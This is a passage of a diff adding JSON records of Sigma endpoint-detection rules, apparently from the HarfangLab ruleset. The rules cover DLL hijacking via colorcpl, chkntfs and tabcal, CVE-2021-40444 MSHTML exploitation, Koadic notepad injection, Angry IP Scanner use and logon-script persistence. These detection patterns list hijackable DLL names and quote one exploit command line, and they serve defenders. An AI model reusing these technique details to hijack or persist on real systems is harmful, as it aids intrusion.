+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082245Z",
+  "creation_date": "2026-03-23T11:45:34.082248Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082254Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_colorcpl.yml",
+  "content": "title: DLL Hijacking via colorcpl.exe\nid: b3c805a2-724f-46bf-9027-9913a4dcea34\ndescription: |\n    Detects potential Windows DLL Hijacking via colorcpl.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'colorcpl.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ColorAdapterClient.dll'\n            - '\\colorui.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\mscms.dll'\n            - '\\PROPSYS.dll'\n            - '\\USERENV.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b3c805a2-724f-46bf-9027-9913a4dcea34",
+  "rule_name": "DLL Hijacking via colorcpl.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via colorcpl.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b3e570a5-4349-42f9-a6d2-c2ce464e61bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592855Z",
+  "creation_date": "2026-03-23T11:45:34.592859Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592867Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_chkntfs.yml",
+  "content": "title: DLL Hijacking via chkntfs.exe\nid: b3e570a5-4349-42f9-a6d2-c2ce464e61bd\ndescription: |\n    Detects potential Windows DLL Hijacking via chkntfs.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'chkntfs.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\DEVOBJ.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b3e570a5-4349-42f9-a6d2-c2ce464e61bd",
+  "rule_name": "DLL Hijacking via chkntfs.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via chkntfs.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b3f72539-195c-43f0-9b1a-d3ed3f8dbc89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608449Z",
+  "creation_date": "2026-03-23T11:45:34.608452Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608460Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444",
+    "https://success.trendmicro.com/solution/000288999",
+    "https://attack.mitre.org/techniques/T1203/",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1566/"
+  ],
+  "name": "t1203_microsoft_mshtml.yml",
+  "content": "title: Microsoft MSHTML Remote Code Execution CVE-2021-40444 Vulnerability Exploited\nid: b3f72539-195c-43f0-9b1a-d3ed3f8dbc89\ndescription: |\n    Detects a potential exploitation of the Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444).\n    An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine.\n    The attacker would then have to convince the user to open the malicious document, triggering unwanted code execution.\n    It is recommended to analyze the code executed by control.exe as well as the opened document to look for malicious content.\nreferences:\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444\n    - https://success.trendmicro.com/solution/000288999\n    - https://attack.mitre.org/techniques/T1203/\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1566/\ndate: 2021/09/14\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.initial_access\n    - attack.t1203\n    - attack.t1204.002\n    - attack.t1566\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2021-40444\n    - classification.Windows.Exploit.MSHTML\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        Image|endswith: '\\control.exe'\n        ParentImage|endswith:\n            - '\\WINWORD.EXE'\n            - '\\EXCEL.EXE'\n            - '\\POWERPNT.EXE'\n    selection_2:\n        # \"C:\\Windows\\System32\\control.exe\" \".cpl:../../../AppData/Local/Temp/Low/championship.inf\",\n        Image|endswith: '\\control.exe'\n        CommandLine|contains: '../'\n        ParentImage|endswith: '\\iexplore.exe'\n\n    exclusion_input:\n        CommandLine:\n            - '?:\\Windows\\SysWOW64\\control.exe input.dll'\n            - '?:\\Windows\\system32\\control.exe input.dll'\n            - '?:\\windows\\SysWOW64\\control.exe SYSTEM'\n            - '?:\\windows\\system32\\control.exe SYSTEM'\n\n    condition: (selection_1 and not exclusion_input) or selection_2\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b3f72539-195c-43f0-9b1a-d3ed3f8dbc89",
+  "rule_name": "Microsoft MSHTML Remote Code Execution CVE-2021-40444 Vulnerability Exploited",
+  "rule_description": "Detects a potential exploitation of the Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444).\nAn attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine.\nThe attacker would then have to convince the user to open the malicious document, triggering unwanted code execution.\nIt is recommended to analyze the code executed by control.exe as well as the opened document to look for malicious content.\n",
+  "rule_creation_date": "2021-09-14",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1204.002",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b4429290-fb41-4135-9038-d778706c2f2b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587394Z",
+  "creation_date": "2026-03-23T11:45:34.587397Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587405Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tabcal.yml",
+  "content": "title: DLL Hijacking via tabcal.exe\nid: b4429290-fb41-4135-9038-d778706c2f2b\ndescription: |\n    Detects potential Windows DLL Hijacking via tabcal.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tabcal.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\davclnt.dll'\n            - '\\DEVOBJ.dll'\n            - '\\drprov.dll'\n            - '\\HID.DLL'\n            - '\\NInput.dll'\n            - '\\ntlanman.dll'\n            - '\\p9np.dll'\n            - '\\propsys.dll'\n            - '\\windows.storage.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b4429290-fb41-4135-9038-d778706c2f2b",
+  "rule_name": "DLL Hijacking via tabcal.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tabcal.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b44d2c13-759d-4eac-a3b2-08f79d059047",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091356Z",
+  "creation_date": "2026-03-23T11:45:34.091358Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091363Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gentilkiwi/mimikatz/wiki",
+    "https://github.com/offsecginger/koadic/blob/main/data/bin/mimishim/ReflectiveDLLInjection/dll/src/ReflectiveDll.c#L58",
+    "https://github.com/offsecginger/koadic/blob/main/data/bin/mimishim/ReflectiveDLLInjection/dll/koadic_process.c#L41",
+    "https://github.com/offsecginger/koadic/blob/main/data/bin/mimishim/ReflectiveDLLInjection/dll/koadic_process.c#L20",
+    "https://attack.mitre.org/techniques/T1055/004/",
+    "https://attack.mitre.org/techniques/T1055/012/",
+    "https://attack.mitre.org/software/S0250/"
+  ],
+  "name": "t1055_koadic_notepad_injection.yml",
+  "content": "title: Suspicious Invocation of notepad.exe linked to Koadic Process Injection\nid: b44d2c13-759d-4eac-a3b2-08f79d059047\ndescription: |\n    Detects the usage of Koadic, a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub.\n    Koadic uses notepad.exe to inject a DLL and execute mimikatz on the host machine.\n    This rule may be triggered by other frameworks or malwares than Koadic.\n    It is recommended to investigate the context of this action to determine the legitimacy of the Notepad execution.\nreferences:\n    - https://github.com/gentilkiwi/mimikatz/wiki\n    - https://github.com/offsecginger/koadic/blob/main/data/bin/mimishim/ReflectiveDLLInjection/dll/src/ReflectiveDll.c#L58\n    - https://github.com/offsecginger/koadic/blob/main/data/bin/mimishim/ReflectiveDLLInjection/dll/koadic_process.c#L41\n    - https://github.com/offsecginger/koadic/blob/main/data/bin/mimishim/ReflectiveDLLInjection/dll/koadic_process.c#L20\n    - https://attack.mitre.org/techniques/T1055/004/\n    - https://attack.mitre.org/techniques/T1055/012/\n    - https://attack.mitre.org/software/S0250/\ndate: 2021/02/16\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055.004\n    - attack.t1055.012\n    - attack.s0250\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Framework.Koadic\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        - Image|endswith: '\\sysnative\\notepad.exe'\n        - OriginalFileName: 'NOTEPAD.EXE'\n    selection_2:\n        ParentImage|endswith: '\\rundll32.exe'\n\n    # If notepad.exe was started with a path in its command line, it's probably a false positive.\n    exclusion_fp:\n        CommandLine: '*notepad*\\\\*'\n\n    exclusion_known_fp_parent:\n        ParentCommandLine|contains:\n            - 'shell32.dll,OpenAs_RunDLL'\n            - 'shell32.dll,RunAsNewUser_RunDLL'\n            - 'shell32.dll,SHCreateLocalServerRunDll'\n            - 'url.dll,FileProtocolHandler'\n            - 'printui.dll,PrintUIEntryDPIAware'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b44d2c13-759d-4eac-a3b2-08f79d059047",
+  "rule_name": "Suspicious Invocation of notepad.exe linked to Koadic Process Injection",
+  "rule_description": "Detects the usage of Koadic, a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub.\nKoadic uses notepad.exe to inject a DLL and execute mimikatz on the host machine.\nThis rule may be triggered by other frameworks or malwares than Koadic.\nIt is recommended to investigate the context of this action to determine the legitimacy of the Notepad execution.\n",
+  "rule_creation_date": "2021-02-16",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.004",
+    "attack.t1055.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b462248e-6e88-400f-af8b-767f81572f57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083364Z",
+  "creation_date": "2026-03-23T11:45:34.083367Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083371Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/angryip/ipscan/",
+    "https://unit42.paloaltonetworks.com/muddled-libra/",
+    "https://www.safebreach.com/blog/phobos-ransomware-ivanti-connect-secure-cert-alert-aa24-060a_060b/",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_angry_ip_scanner_executed.yml",
+  "content": "title: Angry IP Scanner Executed\nid: b462248e-6e88-400f-af8b-767f81572f57\ndescription: |\n    Detects the execution of Angry IP scanner.\n    Angry IP Scanner is a Java-based IP scanner known for being used by threat actors like Muddled Libra.\n    It is recommended to analyze the execution context of this binary and any other alerts to determine its legitimacy.\nreferences:\n    - https://github.com/angryip/ipscan/\n    - https://unit42.paloaltonetworks.com/muddled-libra/\n    - https://www.safebreach.com/blog/phobos-ransomware-ivanti-connect-secure-cert-alert-aa24-060a_060b/\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2025/04/02\nmodified: 2025/04/02\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - attack.t1046\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.AngryIPScanner\n    - classification.Windows.Behavior.NetworkScan\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ipscan.exe'\n        ProcessDescription:\n            - 'Angry IP scanner'\n            - 'Angry IP Scanner - fast and friendly network scanner'\n\n    # Legitimate installation\n    filter_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b462248e-6e88-400f-af8b-767f81572f57",
+  "rule_name": "Angry IP Scanner Executed",
+  "rule_description": "Detects the execution of Angry IP scanner.\nAngry IP Scanner is a Java-based IP scanner known for being used by threat actors like Muddled Libra.\nIt is recommended to analyze the execution context of this binary and any other alerts to determine its legitimacy.\n",
+  "rule_creation_date": "2025-04-02",
+  "rule_modified_date": "2025-04-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1046"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b49b7d13-3131-4107-aa45-a4af1207096b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071607Z",
+  "creation_date": "2026-03-23T11:45:34.071609Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071613Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1037/001/"
+  ],
+  "name": "t1037_001_persistence_registry_environ_userinitmprlogonscript.yml",
+  "content": "title: UserInitMprLogonScript Environment Variable Set via Registry\nid: b49b7d13-3131-4107-aa45-a4af1207096b\ndescription: |\n    Detects a modification of the UserInitMprLogonScript environment variable in registry.\n    This value of this variable is a path to a script that will be run at every logon.\n    Attackers can register a malicious script to establish persistence on an infected host.\n    It is recommended to investigate the path in the value set in the registry to determine its legitimacy, as well as the process responsible for this registry modification.\nreferences:\n    - https://attack.mitre.org/techniques/T1037/001/\ndate: 2020/09/25\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1037.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|endswith: '\\Environment\\UserInitMprLogonScript'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b49b7d13-3131-4107-aa45-a4af1207096b",
+  "rule_name": "UserInitMprLogonScript Environment Variable Set via Registry",
+  "rule_description": "Detects a modification of the UserInitMprLogonScript environment variable in registry.\nThis value of this variable is a path to a script that will be run at every logon.\nAttackers can register a malicious script to establish persistence on an infected host.\nIt is recommended to investigate the path in the value set in the registry to determine its legitimacy, as well as the process responsible for this registry modification.\n",
+  "rule_creation_date": "2020-09-25",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1037.001",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b4d8fde4-7113-455b-9cf6-22c00f2d8384",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
